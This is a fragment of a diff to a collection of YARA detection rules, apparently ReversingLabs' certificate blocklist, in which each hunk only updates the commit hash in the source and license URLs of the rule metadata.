-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5004-L5022"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5004-L5022"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2428df14a18f4aed1a3db85c1fb43a847fae8a922c6dc948f3bc514dc4cae09c"
 		score = 75
 		quality = 90
@@ -8206,8 +8259,8 @@ rule REVERSINGLABS_Cert_Blocklist_Bdc81Bc76090Dae0Eee2E1Eb744A4F9A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5024-L5042"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5024-L5042"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4fc3e57bedb6fb7c96e6a1ee2ad2aec3860716ac714d52ea58b86be4bbda4660"
 		score = 75
 		quality = 90
@@ -8231,8 +8284,8 @@ rule REVERSINGLABS_Cert_Blocklist_B2E730B0526F36Faf7D093D48D6D9997 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5044-L5062"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5044-L5062"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f74cc94428d7739abf6ee76f6cbd53aa47cea815a014de0d786fe53b15f66201"
 		score = 75
 		quality = 90
@@ -8256,8 +8309,8 @@ rule REVERSINGLABS_Cert_Blocklist_7156Ec47Ef01Ab8359Ef4304E5Af1A05 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5064-L5080"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5064-L5080"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7bb093287dd309ce12859eca9a9fc98095b3d52ec860626fe6e743bace262fde"
 		score = 75
 		quality = 90
@@ -8281,8 +8334,8 @@ rule REVERSINGLABS_Cert_Blocklist_13794371C052Ec0559E9B492Abb25C26 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5082-L5098"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5082-L5098"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7383d1fb1fa6e49f8fa9e1eecfe3fcedb8a11702fbd3700630a11b12da29fedf"
 		score = 75
 		quality = 90
@@ -8306,8 +8359,8 @@ rule REVERSINGLABS_Cert_Blocklist_5C7E78F53C31D6Aa5B45De14B47Eb5C4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5100-L5116"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5100-L5116"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7521abc5c93f0336af4fab95268962aa3d3fb48fed6a8ba7fdb98e373158b327"
 		score = 75
 		quality = 90
@@ -8331,8 +8384,8 @@ rule REVERSINGLABS_Cert_Blocklist_Dadf44E4046372313Ee97B8E394C4079 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5118-L5136"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5118-L5136"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "170533935b91776ec2413106c55ed4a01c33f32a469a855824cac796f2e132a0"
 		score = 75
 		quality = 90
@@ -8356,8 +8409,8 @@ rule REVERSINGLABS_Cert_Blocklist_F8C2E08438Bb0E9Adc955E4B493E5821 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5138-L5156"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5138-L5156"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5dbe554032c945c46ffd61ef1e0deb59d396a70dd63994bf44c65d849ec8220a"
 		score = 75
 		quality = 90
@@ -8381,8 +8434,8 @@ rule REVERSINGLABS_Cert_Blocklist_70E1Ebd170Db8102D8C28E58392E5632 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5158-L5174"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5158-L5174"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e1738eddc1da0876a373ee7f35bff155d56c1b98a23cb117c0e7a966f8fa3c92"
 		score = 75
 		quality = 90
@@ -8406,8 +8459,8 @@ rule REVERSINGLABS_Cert_Blocklist_09C89De6F64A7Fdf657E69353C5Fdd44 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5176-L5192"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5176-L5192"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1cb57cd68cda91754307d2e4d94ea011975bbfff0f15134081a5aa11870b0db1"
 		score = 75
 		quality = 90
@@ -8431,8 +8484,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ffff2Ce862378B26440Df49Ca9175B70 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5194-L5212"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5194-L5212"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8ed7b0643b07ce4954f570157e1534ee1ed647717cce00fe7f2b572c9b5d0042"
 		score = 75
 		quality = 90
@@ -8456,8 +8509,8 @@ rule REVERSINGLABS_Cert_Blocklist_3223B4616C2687C04865Bee8321726A8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5214-L5230"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5214-L5230"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fcb0a14866b3612c5ec5a7db7a3333e20a4605695b3d019eef84de85d7b3ea4d"
 		score = 75
 		quality = 90
@@ -8481,8 +8534,8 @@ rule REVERSINGLABS_Cert_Blocklist_7709D2Df39E9A4F7Db2F3Cbc29B49743 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5232-L5248"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5232-L5248"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c9ade45e0f9fb737a08ffa94d1fff89471a1cbcbacc139730fab88e382226d0b"
 		score = 75
 		quality = 90
@@ -8506,8 +8559,8 @@ rule REVERSINGLABS_Cert_Blocklist_E29690E14518874D2Dcf00234Ae94F1F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5250-L5268"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5250-L5268"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ef84815798b213dc49a142e3076cc6dd680dccabe72643fc86234024a46468f9"
 		score = 75
 		quality = 90
@@ -8531,8 +8584,8 @@ rule REVERSINGLABS_Cert_Blocklist_Cfac705C7E6845904F99995324F7562C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5270-L5288"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5270-L5288"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "68bcfe60c2e7154f427c20d0471ede99e55c8200149a4438d5a2a75982fcd419"
 		score = 75
 		quality = 90
@@ -8556,8 +8609,8 @@ rule REVERSINGLABS_Cert_Blocklist_A7989F8Be0C82D35A19E7B3Dd4Be30E5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5290-L5308"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5290-L5308"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a50129908a471e6692bcf663abd5ef52861d4a46fdf528f39efe816ee6150edf"
 		score = 75
 		quality = 90
@@ -8581,8 +8634,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Fa13Ae98E17Ae23Fcfe7Ae873D0C120 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5310-L5326"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5310-L5326"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "415f39f82b6a45acd196ccf246ec660806a8d66c61df8c7d2850e5b244118d04"
 		score = 75
 		quality = 90
@@ -8606,8 +8659,8 @@ rule REVERSINGLABS_Cert_Blocklist_3696883055975D571199C6B5D48F3Cd5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5328-L5344"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5328-L5344"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d6f77b9ca928167341a35b83e353886d4db8dfcecf45cde0f0f93d65059b5200"
 		score = 75
 		quality = 90
@@ -8631,8 +8684,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ee678930D5Bdfaa2Ab0172Fa4C10Ae07 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5346-L5364"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5346-L5364"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f1e254450fdbe94172a4fa2d2727c3ade5ae436cf4c0c1153a15e9a2f64f2452"
 		score = 75
 		quality = 90
@@ -8656,8 +8709,8 @@ rule REVERSINGLABS_Cert_Blocklist_D7C432E8D4Edef515Bfb9D1C214Ff0F5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5366-L5384"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5366-L5384"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "63741513f3ab2f51ecd66dc973239c9dc194b86504fe26b2dd4a7f31299e5497"
 		score = 75
 		quality = 90
@@ -8681,8 +8734,8 @@ rule REVERSINGLABS_Cert_Blocklist_5B440A47E8Ce3Dd202271E5C7A666C78 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5386-L5402"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5386-L5402"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "eb4387d58e391c356ed774d8c13bb4bbb2befed585bb44674459d3ef519aec58"
 		score = 75
 		quality = 90
@@ -8706,8 +8759,8 @@ rule REVERSINGLABS_Cert_Blocklist_B82C6553B2186C219797621Aaa233Edb : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5404-L5422"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5404-L5422"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "72e3e1740a4adc4315d2dd9c9f7b8cee2d89c3006014dec663b70d3419f43ca3"
 		score = 75
 		quality = 90
@@ -8731,8 +8784,8 @@ rule REVERSINGLABS_Cert_Blocklist_F360F7Ad0Ed065Fec0B44F98E04481A0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5424-L5442"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5424-L5442"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2a25f1121f492dec461e570ff56acb0e3957cdf9100002f2ff0b6c3d3b35fee5"
 		score = 75
 		quality = 90
@@ -8756,8 +8809,8 @@ rule REVERSINGLABS_Cert_Blocklist_Fe41941464B9992A69B7317418Ae8Eb7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5444-L5462"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5444-L5462"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bd5131f2b44deec6a7a68577b80ef4d066c331da2976539ce52ac6cff8d5560e"
 		score = 75
 		quality = 90
@@ -8781,8 +8834,8 @@ rule REVERSINGLABS_Cert_Blocklist_0C14B611A44A1Bae0E8C7581651845B6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5464-L5480"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5464-L5480"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7f6028181e33e4ba8264ee367169e7259e19ff49dcae9a337a4ba78c06b459e6"
 		score = 75
 		quality = 90
@@ -8806,8 +8859,8 @@ rule REVERSINGLABS_Cert_Blocklist_690910Dc89D7857C3500Fb74Bed2B08D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5482-L5498"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5482-L5498"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3c5da6238279296854eb95ecaed802f453e80c6bceb71c3fa587df0f7d40cf96"
 		score = 75
 		quality = 90
@@ -8831,8 +8884,8 @@ rule REVERSINGLABS_Cert_Blocklist_Fd41E6Bd7428D3008C8A05F68C9Ac6F2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5500-L5518"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5500-L5518"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e387664dc9aa746e127b4efb2ef43675f8fb6df66e99d33ef765e8fa306a4f18"
 		score = 75
 		quality = 90
@@ -8856,8 +8909,8 @@ rule REVERSINGLABS_Cert_Blocklist_C7079866C0E48B01246Ba0C148E70D4D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5520-L5538"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5520-L5538"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cc144760e0ca21fd98b55ac222db540900def61f54e9644f8cab5f711ec7bf24"
 		score = 75
 		quality = 90
@@ -8881,8 +8934,8 @@ rule REVERSINGLABS_Cert_Blocklist_D591Da22F33C800A7024Aecff2Cd6C6D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5540-L5558"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5540-L5558"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "30e421d5ea3c5693c5c9bd0e3dd997ceda9755d17e3fb16d2a8e6c4a327ae32f"
 		score = 75
 		quality = 90
@@ -8906,8 +8959,8 @@ rule REVERSINGLABS_Cert_Blocklist_B36E0F2053Caee9C3B966F7Be0B40Fc3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5560-L5578"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
